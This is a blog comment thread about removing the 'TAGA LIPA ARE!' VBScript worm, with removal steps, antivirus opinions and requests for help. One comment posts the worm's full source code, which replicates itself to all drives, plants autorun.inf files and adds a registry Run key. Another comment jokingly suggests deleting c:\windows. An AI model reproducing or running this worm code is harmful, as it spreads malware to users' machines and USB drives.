I’ve been bugged by a lot of people asking me to help them remove the TAGA LIPA ARE! ‘virus’ in IE. So, I’m posting the directions here.
First thing is to get familiar with the ‘virus’. The ‘virus’ file is FS6519.dll.vbs. It’s a VB Script that does nothing except make a copy of itself in all your drives and change the title of Internet Explorer to “TAGA LIPA ARE!”.
Princess of Antiquity 
hehe. so may copy ka na ba nung virus? 😀
Posted by nightfox | March 30, 3:46 pm, 3:46 pmNah, I still don’t have a copy. I would’ve posted the code of the script here but I don’t have a copy. I removed one for a friend last night but forgot to save a copy for myself.
Do you have a copy? pahingi naman, oh. Hahaha.
Posted by princess of antiquity | March 30, 4:12 pm, 4:12 pmMan, lots of steps. Wouldn’t it be simpler to just load Ubuntu LiveCD and reboot your computer? Viola! No more virus! :p
Posted by Rom | March 31, 7:35 am, 7:35 amwat ang latest antivirus?
Posted by mark | April 1, 7:44 pm, 7:44 pmcan you make me a virus like “taga lipa are” but i want it “pyro is cute” hehehe… ^^,
Posted by pyrox | April 3, 8:24 am, 8:24 amoh shit batangueno pa man din……buti na lang my computer has the latest and most effective antivirus stuff….I got Macafee and I haven’t had a virus for a year or so………….sosyal talaga ako
Posted by gigil | April 3, 2:02 pm, 2:02 pmA lot of my friends and classmates asked me to remove that virus off of their PCs and notebooks, too. I just searched it up on the Web, and a lot of blogs with removal instructions were available. I can’t seem to understand why they don’t think “Google” whenever a problem arises. 😛
Rom’s step(s) is (are) definitely a lot more easier. LOLx
Oh, I have to say PC-cillin IS 2007 is the best AV suite out in the market today according to many security/tech sites. And the next one would be Zone Alarm, since there’s nothing to scan and clean for if your firewall is the best one out there blocking malicious code. I’m just frustrated they’re so expensive. 😉
Posted by Aja | April 3, 7:10 pm, 7:10 pmTo those who are infected with “Taga Lipa Are” malware, here is the remover created by Leerz http://leerz25.sitesled.com/ . He really did a great job here.
1. Download the compressed file from the author’s website http://leerz25.sitesled.com/files/tools/fixes/NOOB_KILLER.by.Leerz.zip .
2. Unzip then run (double-click) NOOB_KILLER.by.Leerz.exe.
3. Click AutoFix-[Kill TLA], then OK.
4. Restart your computer.
This application also contains the auto-fix/remover for “Hacked by Godzilla” malware.
Cheers to all! 8)
Posted by Presler | April 3, 8:01 pm, 8:01 pm@Rom: a very good suggestion.
@Mark & Presler: sorry, I don’t use any anti-virus that’s why I remove them manually.
@Pyrox: if you met me earlier(high school perhaps), I would probably have said yes. 😉
@Gigil: Mas sosyal ako ‘coz my PC is clean without anti-virus. Mas mabilis pa. 😛
@Aja: Personally, I recommend McAfee and AVG. (btw, I don’t get paid by any of them for doing this.) But like in everything else, to each his own. 😉
If you find these steps hard to follow, I strongly recommend sir Rom’s suggestion. Or you might want to try deleting
c:\windows\altogether then tell me what happens. (I’ve always wanted to try that.) 😉Let’s take a leaf out of Alastor Moody’s book and practice “Constant Vigilance”! Be it virus or exploits or what have you, try not to compromise your systems. And try hard! 😛
Posted by princess of antiquity | April 4, 3:44 pm, 3:44 pmAVG is good as it’s free, but it can’t detect some obvious malware from my friends’ PCs even though I’ve updated it with every required, recommended and optional update—I had to do manual removal instead. I haven’t tried McAfee, though.
Oh, and I agree that constant vigilance is the key to better security, besides not using vulnerable apps like IE and Windows. The only reason I’m still on Windows is because of games’ compatibility. 😉
Posted by Aja | April 4, 4:10 pm, 4:10 pmHi Princess Antiquity,
You know a lot when it comes to virus removal. I’m deeply in need of your help.
All of my drives have this cmd shell:/>. It means I can access my command prompt in any drives. I don’t want to see this cmd shell in all my drives so how do I remove it? Is it harmful to have cmd shell in all drives?
Thanks. 🙂
Posted by Zero27 | April 5, 8:09 am, 8:09 amHi To all,
I don’t Agree that AVG is too powerfull antii-virus. yes it cleans “SOME OF VIRUSES” lol*. It’s always let me down when new virus arrives. TAGA LIPA ARE! Malware is easily remove by other anti-viruses such as Kaspersky or you may never heard ESCAN anti virus. Anyway Princess of Antiquity doing great job here.
Posted by Cryptonyt | April 5, 10:36 am, 10:36 amei! salamat sa instructions! galeng2! ambangis! ask q lang…taga-UP k b? hehe ala lang….
Posted by redeyes09 | April 6, 12:29 am, 12:29 amPare patulong naman diyan sa Cavite ako nauwi Dasmarinas…Kung sinuman marunong mag alis nito….na nakaka inis na TAGA LIPA ARE! Pano bato papa service ko nalang eto nga pala cel no. ko 09159984314 patawad at nag mamadali kase ako bibili pako ng gatas hehehehehehe……
Salamat…
MON
Posted by Belmon | April 6, 6:07 pm, 6:07 pmaba’y andami na palang comments dito.. hahaha!
Posted by nightfox | April 9, 12:13 am, 12:13 ama copy of taga lipa vb script:…
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]”&vbcrlf&”shellexecute=wscript.exe FS6519.dll.vbs”
set fs = createobject(“Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\FS6519.dll.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\FS6519.dll.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\FS6519.dll.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path “A:” then
set tf=fs.getfile(flashdrive.path &”\FS6519.dll.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\FS6519.dll.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\FS6519.dll.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(“WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\FS6519″,winpath&”\FS6519.dll.vbs”
rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”TAGA LIPA ARE!”
if check 1 then
Wscript.sleep 200000
end if
loop while check1
set sd = createobject(“Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname
Posted by nelo007 | April 13, 11:03 pm, 11:03 pm@Aja: I’m still on windows for the same reason… although, on my part, I make the game. 😉
@Zero27: send me the file. I have my e-mail address at my about page.
@Cryptonyt: I recommend AVG ‘coz it’s free. 😉
@redeyes09: I’m glad to be able to help. I have my profile here.
@Belmon: Bro, sana nakabili ka ng gatas. Hehehe. (Bakit ba ngayon ko lang nabasa ‘to?)
@nightfox: Hehe. Too many victims?
@nelo007: Thanks, bro. I’ve been looking for this. 😀
Posted by princess of antiquity | April 17, 6:28 pm, 6:28 pmPrincess,
Thank you sooo much! I was surprised to see so many people had this TAGA LIPA ARE also. Your instructions to remove it were so simple and it worked!
Salamat-po
Posted by Pauline | April 18, 3:37 am, 3:37 amHow would I send it? I think it has to do with my operating system version. I installed a Windoxs XP (service pack 3 build on service pack 2 by a certain programmer). When you check the drives by means of right click you could see an option like this cmd shell:/>. I solved it removing the previous OS and installing a XP service pack 2 OS.
By the edited XP (service pack 3 build on service pack 2) has certain features such as integrated style XP, virtual drive and others.
Which do you prefer XP service pack 2 or a edited XP (service pack 3 build on service pack 2)?
You really amazed me with your knowledge about virus removal. More power! You really did help a lot of people. You must be a very good programmer.
Are you also a game designer? Thanks.
Posted by Zero27 | April 19, 12:51 am, 12:51 am@Pauline: I’m glad to be able to help. 🙂
@Zero27: I’ve been using Windows since I was three years old… Hehe. I recommend Linux. Haha. Although, if you really need to stay with XP, you might want to stick with XP w/ SP2 since its the most stable build of XP. I’m using Ubuntu and XP SP2 (dual boot). 😉
I took computer graphics (CS 176) last sem and we did game dev on C# .Net platform. I guess I enjoyed it a lot that I’m still continuing it even thought the subject is already finished. 🙂
Posted by princess of antiquity | April 19, 1:08 am, 1:08 amOh I see. I’m also computer fanatic actually I am currently taking up BS Information Technology at FEU – East Asia College (3rd year this coming sy). Great you’re using a LInux, you really do know a lot of different OS.
By the way, have you tried using these products: NOD32 and Kaspersky? both are anti-virus softwares.
They are much powerful than other anti-virus but not that easy to use. Wala lang share ko lang.
Are you also good when it comes to hardware stuff? like tweaking up the system unit. 🙂
Posted by Zero27 | April 22, 1:02 am, 1:02 amI’m a Computer Science major. Although I think you already know that from my about page. 😀
I haven’t tried either of them but I know my friends are using Kaspersky. It worked for them so I guess it is kinda OK. (I recommend McAfee because I had experience using it in the past.)
I don’t let anyone tinker with my Azrael, my pc, (hardware and software) except myself and his doctor (a trusted friend, in case I need some professional help.) 😀
While it is nice to tinker with the hardware, I love programming even more. I think it was Bill Gates who said once that without software a good machine is just a box, nothing more. 😉
Posted by princess of antiquity | April 22, 3:45 pm, 3:45 pmi have this virus
no idea how i got it but it IS harmful for me. its played with my keyboard… im using my sisters laptop now coz on mine i can’t even search ‘taga lipa are’ it comes up like ‘taga li331 a5w’ or something
!!!!!!!!!!!!!!!!!!!!!!!
ive done the instructions but still stuffed up keyboard
the files arent there anymore but it still says taga lipa are on IE
Posted by cathyq | April 28, 12:37 pm, 12:37 pmI think you have a keyboard problem. If you look at the virus code carefully, you will notice that it doesn’t mess with anything except making copies of itself on all of your drives.
Try changing keyboards and
Posted by princess of antiquity | April 30, 5:08 pm, 5:08 pmhmm…
just wondering…
pareho lng b process kpg ung kapatid nya n “Mamatay na ang mga taga-lipa” ang tatanggalin?
Posted by A ComSci Student | April 30, 5:17 pm, 5:17 pmfollow up…
e pano kung un nmng “Go Calaca Dude” ang tatanggalin?
hehehe.
grabe nmn… magnet ako ng mga virus…
Posted by A ComSci Student | April 30, 5:19 pm, 5:19 pmhmmm… I haven’t seen those yet. Why don’t you mail me a copy of the virus? I have my e-mail address here. 🙂
Posted by princess of antiquity | April 30, 6:13 pm, 6:13 pmwhat is Taga lipa are?
Posted by ??? | May 1, 9:23 pm, 9:23 pmI have a problem same sa taga Lipa virus..DESTRUKTO!!!!!! name …autorun sya sa IE..anybocy can help me to remove this …
Posted by pet | May 1, 11:48 pm, 11:48 pmbakit di ko makita ang FS6519.dll.vbs na file? plssssssss….help me po pls..
Posted by kiddnets87 | May 2, 9:34 am, 9:34 am@??? Technically, we can’t consider it a virus or a malware since it doesn’t really do anything. Just makes copy of itself on all your drives and changes the title of IE to “TAGA LIPA ARE!”.
@pet: Try the instructions above. Use firefox! 😛
@kiddnets87: you have to configure your system to show hidden and Operating System files. 😛
Posted by princess of antiquity | May 2, 11:55 am, 11:55 ambt po ayw pong mag show ng hidden os system files? virus po rin ba yun? makaka run po ba ng anti-virus even sa limited account?
Posted by kiddnets87 | May 2, 3:07 pm, 3:07 pmcould try to help i dont know to renove this virus taga lipa are if i run the editry my computer is goin to restart….and thats so…
Posted by lary | May 2, 3:12 pm, 3:12 pmregedit
Posted by lary | May 2, 3:13 pm, 3:13 pmpet?? tanung mo ung sa destrukto!!! malupit un!! hehe dami ko na nga rin nakikitang gnun e!! para xang brontok
Posted by tina | May 6, 8:06 pm, 8:06 pmprang kulang yung instruction…
Open MSConfig and under startup, uncheck the trojan’s startup entry, [FS6519]
Posted by alds | May 7, 3:46 am, 3:46 amSymptoms: C: drive has an [autoplay] function when right-clicked. Internet Explorer has “TAGA LIPA ARE!” in it’s title bar.
Mode of Transfer: USB, Fixed/Portable HDD
Target: Internet Explorer, Registry, MSConfig, Autorun.inf
Effects: Every Mass Storage Device linked to the infected PC will be inserted with an autorun file which will trigger the Windows Scripting Service to run its main file “FS6519.dll.vbs”, which is marked as a system file and is in the root directory of the Drive.
Open My Computer -> Tools Menu -> Folder Options -> View Tab:
Select: Show hidden Files and Folders
Uncheck: Hide Extensions for known file type and Hide Protected operating system
Click Yes Then OK.
You will see an autorun.inf and FS6519.dll.vbs in all your harddrives. Delete ALL of them.
If it says that something is using the program. Press Ctrl+Alt+Del and go to processes, end ALL wscript.exe
Open MSConfig and under startup, uncheck the trojan’s startup entry, [FS6519].
Click Start > Run and then type regedit
delete [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\FS6519] key, and modify [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”TAGA LIPA ARE!”] key to remove the nuisance in IExplorer.
OR go to Edit -> Find and type FS6519.dll.vbs.
Edit the found registry by selecting the name, ryt click and modify, remove the last two strings which is wscript.exe and FS6519.dll.vbs and click OK.
If finished, press F3 and it will search again for another, just do the same thing until nothing is found in your registry.
If you are done with the FS6519.dll.vbs, its time for the TAGA LIPA ARE! be edited in your IE, type the string on the search again then it will show up the IE title … modify then type anything you like or better delete it.
Posted by alds | May 7, 3:48 am, 3:48 amfrom: http://raxso.wordpress.com/2007/03/18/how-to-remove-fs6519dllvbs-or-if-you-have-taga-lipa-are-in-your-ie/
Posted by alds | May 7, 3:49 am, 3:49 amwla kung sana pinoy ang gumawa, d naman,, gaya gaya pati yang i love u bug, kung sana pinoy ang gumagawa pinapalitan lang ng pangalan nccredit tuloy satin, sana gumawa n lang tau nung orig, hnd ung ginagawa lang
Posted by wendell | May 8, 5:41 am, 5:41 amgusto ko sanang maka kuha ng free ativirus if ok lang sa inyo???????
Posted by jumong | May 8, 10:23 am, 10:23 amheeheeee ang galing naman ninyo;;;;;; ipaglaban nyo ang karapatan ninyo na maging isang dalubhasa sa pagtangal sa mga virus na iyan……. gogogogogogogo sulong kapatid tungo sa magandang bukas……
Posted by jumong | May 8, 10:25 am, 10:25 am@alds : march 18 yung post at march 30 naman dito. So sino ang orig? Sino ang nagfefeeling magaling?
Posted by chat | May 8, 3:48 pm, 3:48 pmHello there..!! If anybody out there have a problem about >>>Can not find script file “FS6519.dll.vbs”
Posted by RONBRONTOK | May 8, 5:38 pm, 5:38 pm@kiddnets87: Reformat 😛
@lary: That’s weird. Reformat?
@alds: Thanks for the additional info. This was the first time that I saw a VBS code, since I’ve never developed in VB or VBS, and I might have overlooked that. Anyway, the MSConfig entry will be ignored since there is no longer a registry entry for the vb script file. 😀
@wendell: I know who made the “I Love You” bug… 😉
@jumong: Try Horizon DataSys ExeLockdown. It’s free! and very small in size. Libre rin ang AVG. Or better yet switch to Linux. ^_^
@chat: this is an original. It just happened that I saw the code and felt like placing a fix here. Hindi po ako magaling at hindi rin po ako magmamagaling or nagfefeeling magaling. I have nothing to boast about since I don’t even have a degree yet. ^_^
@RONBRONTOK: try configuring your system to show OS and hidden files. If you still can’t see it, maybe it doesn’t exist. (Good for you, then.) If the problem persists, make the switch! Use Linux. 😉
@all: Lisensyado ba ang Windows nyo? Stop software piracy. Go open source!
I’ve never thought that this “virus”, I don’t even want to consider this a virus, is such a big thing… This just shows the magnitude of the problem that faces the security community. As for me, I also believe that PEBKAC. Hehe. Peace!
Posted by princess of antiquity | May 9, 1:57 am, 1:57 amhello po… bakit po di ko mabura?? sabi “it is used by another program…” what do i have to do next?? pls help me princess.. heheh.. thanks alot!! ^_^
Posted by jan | May 9, 6:46 pm, 6:46 pmpano pu yun??? ayaw niya mabura?? sabi .. it is used by another program.. what do i do next?? pls help me.. plss…
Posted by jan | May 9, 6:49 pm, 6:49 pmNow i cant open my hard drive since it says cannot find FS6519.dll.vbs. what should i do.
Posted by Justin | May 14, 4:12 pm, 4:12 pmwhoever can help me please send me a message: justin_allister@yahoo.com. thank you
Posted by Justin | May 14, 4:16 pm, 4:16 pmdelete the autorun.ini
follow the steps above. ^_^
Posted by abbi | May 15, 11:10 pm, 11:10 pmHey to ALL….
sa lahat ng nakakaalam kong paano matanggal yong virus na “Mamatay na ang mga taga lipa! Pls. kindly send to me how to remove this virus because im one who are infected this type of virus. Plz send to me at blackdiamond122003@yahoo.com or contact me at cell no. 09058135353. Thanks and sana may response agad. Thanks uli!!!!!!!1
Posted by blackdiamond | May 16, 3:33 pm, 3:33 pmsimple lang ang lahat ng virus n lumalabas… db nga ms madaling gumawa ng masama kaysa nakakabuti… :p
Posted by LOISANONYMOUS | May 16, 7:59 pm, 7:59 pmmadali lang taggalin yan “taga lipa are”
manual deletion of “taga Lipa are” messege at internet explorer
run regedit;
HKEY_CURRENT_USER\
Software\
Microsoft\
Internet Explorer\
Main\
Window Title
left click once on MAIN tapos sa right side ng windows, right
click and delete “WINDOW TITLE”
taga calaca me, batangueno. ano kaya susunod na virus
Posted by mark venzon | May 18, 11:42 am, 11:42 ampwede rin gamitin ang “system restore”
restore the set-up of ur computer sa date bago lumabas ang virus.
just e-mail me or txt 09196473616 if my problem
Posted by mark venzon | May 18, 11:43 am, 11:43 ami’ve encountered a virus that disables antivirus softwares, disables ctrl+alt+del, and also disables CMD.. nid sum help hir plz.. asap.. tnx so much
Posted by Reggie | May 21, 6:10 pm, 6:10 pmHello! Thank you for your site. I have found here much useful information.
Good luck.
Posted by xhjyfm | May 23, 9:27 am, 9:27 amwhy di ko makita yung FS6519.dll.vbs sa windows? paano ko ba tatanggalin kahit na di ko nararamdaman kung anong effect eh naiinis lang akong makita yung pangalan…
Posted by Rexon | May 24, 8:16 am, 8:16 ammy remover na ba para sa TAGA LIPA ARE! ? enge naman ako…
Posted by vulva_licker | May 24, 4:50 pm, 4:50 pmPrincess,
hmm, i’d presume your a guy even if your name suggests your a sissy.
hehe well I like the idea you’re helping people (you’re selling like pancakes man!), but i guess you shouldn’t overdo it. Its not so so cool.
ah, sabi mo pala:
“Technically, we can’t consider it a virus or a malware since it doesn’t really do anything. JUST MAKES COPY OF ITSELF on all your drives and changes the title of IE to “TAGA LIPA ARE!”…”
Well, what can i say. Technically eh? Why don’t you check GOOGLE as you’ve said (when problems arise) and check your definition of a virus. If it replicates, even in the absence of a “payload”, it is “TECHNICALLY”, a virus.
and sabi mo pala kay gigil, mas “sosyal pc mo kc walang antivirus pero ‘clean’ “. … well good luck to you and to all those who believed that their box is safe without any AV. Like saying they shouldn’t put padlocks into their gates if they’ve got a friendly neighborhood.
Think again.
As for you people, beware of ‘mind viruses’… Coz its worse and it makes you more stewpid.
Thanks.
Posted by Lipaners | May 29, 8:52 am, 8:52 amnga pala, ive read taga mapua daw gumawa nun OR probably STI lipa daw. Im from mapua. but personally i think nagpapansin lng cla.
halatang iisang party may gawa ng virus and they’re also the ones who released the fix by a guy under the handle leerz.
bringing the bad thing about, and claim to have the cure.
just a thought.
Posted by Lipaners | May 29, 8:55 am, 8:55 amei, can u help me….?
when i open my computer, before my computer show my desktop, there’s a message that says ” i’m still waiting for the strawberry coming in my baguio, please help me…” something like that… as of now, i don’t see any problem on my computer except that it makes all my drive in autoplay….. tnx 🙂
Posted by mark | May 30, 1:37 pm, 1:37 pmdami mgagaling d2..
@lipaners: yaan mo na c princess.. nkakatulong naman sha… hehehe…
@princess of antiquity: pls, help me.. tnx..
kakahiya s inyo,, ang gagaling nu, d me mkarelate s mga usapan ng iba,,, hehehe……
Posted by mark | May 30, 1:49 pm, 1:49 pmthank you so much! this was really helpful to me. it came in handy when i needed it most 😀
Posted by Maricel | May 30, 9:07 pm, 9:07 pmi cant delete the vbs file and the autorun.inf…it says it is corrupted…what do i do?
Posted by me | June 1, 10:50 pm, 10:50 pmhow do you delete a corrupted and unreadable vbs and inf file from your USB?
Posted by nico | June 1, 10:54 pm, 10:54 pmpano tanggalin yung virus na nasa hardrive without having to reformat? corrupted yung vbs and autorun e
Posted by bob | June 1, 10:59 pm, 10:59 pmlipat mo ang mga files mo sa hdd mo.. juz make sure u dnt include the vbs and autorun.ini files… then format ur flash disk… its the easiest and most unlikely to fail.
Posted by Lipaners | June 4, 2:12 pm, 2:12 pm“Im still waiting for the strawberry coming from my baguio.. pls help me”
This is the message I receive everytime I open my computer..
can u pls Help me???
Posted by Charlie | June 5, 7:34 am, 7:34 amhi! =] pede po bang malaman kung saan ko mahhanap ung 1st step? hindi kasi ako maka relate eh..newbie kasi ako sa comp… thaks =]
Posted by tjbmx | June 6, 1:51 am, 1:51 amkasi po natangal ko na ung taga lipa are..sa internet explorer. pero ung virus na tga lipa are hidi ko matangal? ano po bang key word ng i rurun ko at steps? thank you po =]
Posted by tjbmx | June 6, 2:05 am, 2:05 ampano ba tanggalin ang “I’m still waiting for the strawberry coming from my baguio.. please help me” tnx
Posted by ferdie | June 6, 10:43 am, 10:43 amIs it true? that McAfee is gooder than AVG? coz im using AVG now..
Posted by timothy23 | June 7, 12:35 pm, 12:35 pmbakit wala akong makitang “autorun.inf and FS6519.dll.vbs” sa Pc ko? my nakita akong lumabas madaming kakaibang mga title nila collor red ang dami..binura ko na.. hayyy autorun.inf and FS6519.dll.vbs ang hirap mahanap..
help po =c
Posted by timothy23 | June 7, 12:52 pm, 12:52 pmwahahahahah tama si lapaners..pc w/av is complicated..hmmm siguro wala xang internet? joke..
Posted by timothy23 | June 7, 12:55 pm, 12:55 pmHi!
Please help me po…. how can i remove “I’m still waiting for the strawberry coming from my baguio.. pls. help!”.
Gracias!
🙂
Posted by sarah | June 8, 10:10 am, 10:10 amIt is true that AOL is better than Bitdepender Anti virus?
Posted by timothy23 | June 8, 12:14 pm, 12:14 pmis it..rader ^^
Posted by timothy23 | June 8, 12:15 pm, 12:15 pmparehas kami ng problema ni sarah saka kay marc yung:
____________________________________
|PROMISE!_________________________|X|
| |
|I’m still waiting for the strawberry coming| |from my baguio.. pls. help!’… |
|___________________________________|
lumalabas to sa startup eh
nag search ako sa google nakalagay “worm”
pangalan:W32/Vizim worm
gamit kong antivirus ngayun ay yung
“Eset NOD32” -Kaya Ba Nito matangal yun?
pls help……di ako magalaing sa ganitong problema eh
Parang Bago Lng toh…… konti plang nakikita ko eh
paki e-mail na lang o PM sa messenger kung paano santos_ephraim@yahoo.com tnx po
Posted by Kettelkorn | June 9, 10:06 pm, 10:06 pmMedyu nasira yung itsura sa unag comment ko hehe sna maintindihan mo….
Posted by Kettelkorn | June 9, 10:12 pm, 10:12 pmhelo pu…bkt ayaw gumana sa spc ko ung NOOB killer,, NOT VALID DAW SA WIN32 APPLICATION.
need reply here…asap. tnx. email nyu nlng ako
Posted by ERIKA DY | June 10, 9:14 pm, 9:14 pmpanu po b ttngglin ung worm.vbs.solow.a….d sya madisinfected ng kaspersky???
help nmn po… thnx po….
cj
Posted by siong_cj | June 11, 7:18 am, 7:18 ambakit ganun?na tangal ko na lahat kung pano maalis ung “TAGA LIPA ARE!” pero ung folder sa desktop ko dko parin maalis parating sinasabi na my gumagamit eh close na lahat siguro d na ito taga lipa are..hmmm ksi ung mga icons sa “ADD and Remove ko kumonte ang maganda nito reformat na yata ehehehe! help po?
Posted by timothy23 | June 11, 6:47 pm, 6:47 pmito nga pla ung alam kong magandang gamiting anti virus..
“AOL, AVG, Bitdefender” yn lang po eh..
Posted by timothy23 | June 11, 6:48 pm, 6:48 pmala pa rin po ba remover nung i’m still waiting for my strawberry coming from my baguio?… kala ko me lang meron nun… pls help, princess
Posted by mark | June 13, 8:23 pm, 8:23 pmpls help princess of antiquity or lipaners
Posted by mark | June 13, 8:29 pm, 8:29 pmmas magandang gawin sa pcm o tol reformat..ako reformat nalng ginawa ko nakakatamd mag manual remove eh hehehe!
Posted by timothy23 | June 13, 9:31 pm, 9:31 pm[b]For all those getting the File Corrupted error for the FIx[/b]
— I’ve had server problems during the Uploading, however, I have
4 other copies pointing to the same file, eitherway, it should still work,
anywhow, the link has been fixed (weeks back) so, will likely be ‘OK’ now.
Please do report if anything similar comes up!
[b]how do you delete a corrupted and unreadable vbs and inf file from your USB?[/b]
is your Flash Drive on ‘Write-Protect’?
try to enable writing first. 🙂
[b]
It is true that AOL is better than Bitdepender Anti virus?[/b]
AOL, is running on ‘Kaspersky’ Antivirus, Comparing them, I have no idea, both are Good AV’s.
I highly suggest NOD32 it has the lowest memory footprint (use),
[b]mas magandang gawin sa pcm o tol reformat..ako reformat nalng ginawa ko nakakatamd mag manual remove eh hehehe![/b]
Standard Reformat time is around 30minutes to 1 hour, however, reinstalling common programs that you have previously installed, well, that might take longer.
Manual cleanup from an average user will take around 2-10 minutes! (or just a few seconds with the Noob Killer)
[b]ala pa rin po ba remover nung i’m still waiting for my strawberry coming from my baguio?… kala ko me lang meron nun… pls help, princess[/b]
I’m actually still probing about this, I haven’t yet seen any file associated with it, any possible VBS name? or registry entries, if that could be sorted, everything else will follow!
[b]helo pu…bkt ayaw gumana sa spc ko ung NOOB killer,, NOT VALID DAW SA WIN32 APPLICATION.[/b]
what OS are you running Sir/Mam, Noob Killer has been tested under XP(all,NT), Win9x(ME,SE). Please Download the link again, or if that fails, you can always the the manual cleaning. =)
[b]halatang iisang party may gawa ng virus and they’re also the ones who released the fix by a guy under the handle leerz.
bringing the bad thing about, and claim to have the cure.
just a thought.[/b]
Int’resting :), nope sir/mam, I am from Bulacan, and I have, in by any means connection with those guys (whoever they are) *or even there’s just one person behind it*
In my theory, the operated in packs, spreading it on various places to help spread their little concotion’
I’ve had a couple of run-ins with them from the past, *even divulged into word fights*.
if you need details on where these things originated *word fights*
you can read the discussions on these pages.
http://www.convergenceforums.net/e107_plugins/forum/forum_viewtopic.php?11735
http://www.convergenceforums.net/e107_plugins/forum/forum_viewtopic.php?10325
Posted by LRZ | June 15, 3:30 pm, 3:30 pm*I dont have, by any means ‘any’ connection with those guys (whoever they are) *or even there’s just one person behind it*
Posted by LRZ | June 15, 3:33 pm, 3:33 pmAla ay kagaling ng website na are. Kawasa galit ang ang programmer sa mga taga lipa eh, di ga.
Posted by Kanuto | June 15, 9:30 pm, 9:30 pmformat doesn’t help me, .. i’ve done it but still nothing happens
Posted by mark | June 16, 8:42 am, 8:42 am@Kanuto, not the residents of LIPA, but those merely those who did this anoyance 😉
@Mark, format doesn’t help me, .. i’ve done it but still nothing happens, perhaps your Flashdrive is infected, mp3, mp4, and external hard disk is infected, please PLUG all possible infected MEDIA, then run the fix again!
Thanks!
-Leerz
Posted by LRZ | June 16, 4:26 pm, 4:26 pmI also have Promise- I left my strawberies,
1. I had my IT reformat my pc, it was gone for 1 week
2. Obviously, it has resurfaced- where the F*ck / sites propagate this
3. How Do I remove this- Plain English please, step 1, 2, 3, 4, 5
4. Will give P500 to someone who can help me here, 09209128531 so i know where I can PAY!
I hope the sh*thead mother fuc**er who made the virus gets injected with the aids virus to pay for all the lost time he cost people…
Posted by Jun Lao | June 16, 5:56 pm, 5:56 pmNice! Jun Lao..Hmmm..Try to find a Good Comtech not IT..
Posted by timothy23 | June 17, 12:19 am, 12:19 amMe also.. I have a big problem w/my f..k’n pc.. ahihi! HMMMMM.. Nice virus!huh?! Its so lovely ! !
Posted by timothy23 | June 17, 12:24 am, 12:24 amHMMM is someone exprnced. When deliting Autrorun.inf and FS6519.dll.vbs in hdd..and nothing changed?and evrytime i try to delit some folder it always say “u canot del this coz some one is using it?” but wen im looking in end task nothings runing?..Is that means..i missed some of it? But i followed the instruction . But i only erase 1 of Autrorun.inf in my hdd.then no more..hmm i showed all hidden files but nothing shows..so i cant erase the virus manualy..hope some one can teach me how to explore and find it? thank’s pls mail me for some info..tj_bmx2003@yahoo.com ^_~ muah!
Posted by timothy23 | June 17, 12:41 am, 12:41 amtj_bmx2003@yahoo.com
Posted by timothy23 | June 17, 12:42 am, 12:42 amWelcome Guest. Login or register here
Topic: Baguio Strawberry Virus
Message posted by nrdvjr on 15 May 2007 at 10:46pm – IP Logged
nrdvjr
pcx newbie
14 December 2005
Pls help! how do i remove this message? it keeps on appearing everytime my system startup. I used Hijackthis but it keeps on coming back. My NOD32 antivirus didnt detect it as virus(My virus database is 05152007).
thanks
“I’m still waiting for the strawberry coming from Baguio! Pls. Help!”
Message posted by malaka on 16 May 2007 at 9:51am – IP Logged
malaka
pcx newbie
Philippines
20 September 2005
try any online free virus scanner from mcafee, housecall from trendmicro, or download avg7.5 antivirus free edition, bitdefender 8 free edition… try to remove it with anti-spyware/anti-malware…
(i have not encountered it so i dont know the exact antidote to it..)
—————–
“Natutulog ba ang Diyos?”
“May mga Aliens ba sa Mars?”
“Totoong nasusunog ba ang fart kapag sinindihan?
Shengton s Innovative PC Forums
Message posted by nrdvjr on 17 May 2007 at 12:42am – IP Logged
nrdvjr
pcx newbie
14 December 2005
it behaves like taga lipa are. it generate autorun.inf and iexplore.exe on every drive. including usb.
also it is on the memory. cannot just delete those files. keeps on coming back.
i have already run online scan by bitdefender. yes it detect it as worm32.worm.vb.gg. my problem is andun pa rin yung message everytime my system starts. plus yung ibang pc dito sa office na offline are also infected kaya keeps on returning on my pc thru usb…
anyway thanks malaka!
Message posted by malaka on 17 May 2007 at 11:04am – IP Logged
malaka
pcx newbie
Philippines
20 September 2005
if it behaves like TGA, then use the anti-TGA… boot in safe mode and remove it…
—————–
“Natutulog ba ang Diyos?”
“May mga Aliens ba sa Mars?”
“Totoong nasusunog ba ang fart kapag sinindihan?
Shengton s Innovative PC Forums
Message posted by SHENGTON on 21 May 2007 at 9:52pm – IP Logged
SHENGTON
pcx newbie
Philippines
13 December 2006
You mean if you open a drive C: or drive D: you getting an error message?
The error message is like this?
Cannot open drive [letter]autorun.vbs is missing
Is that the error that keeps on prompting to you?
If that then you need to download this anti-spyware and anti-virus: Spyware Terminator
Then you need also 1 computer co’z we can only remove this virus Win32: Sality through networking. If you don’t have other computer there then the only way is to reformat your hard disk then install again the OS.
That’s why I suggest to download the Spyware Terminator because this software who can only remove this virus. We need to delete the autorun.vbs and the autorun.bat.
—————–
Shengton s PC Forums
Message posted by nrdvjr on 25 May 2007 at 3:54am – IP Logged
nrdvjr
pcx newbie
14 December 2005
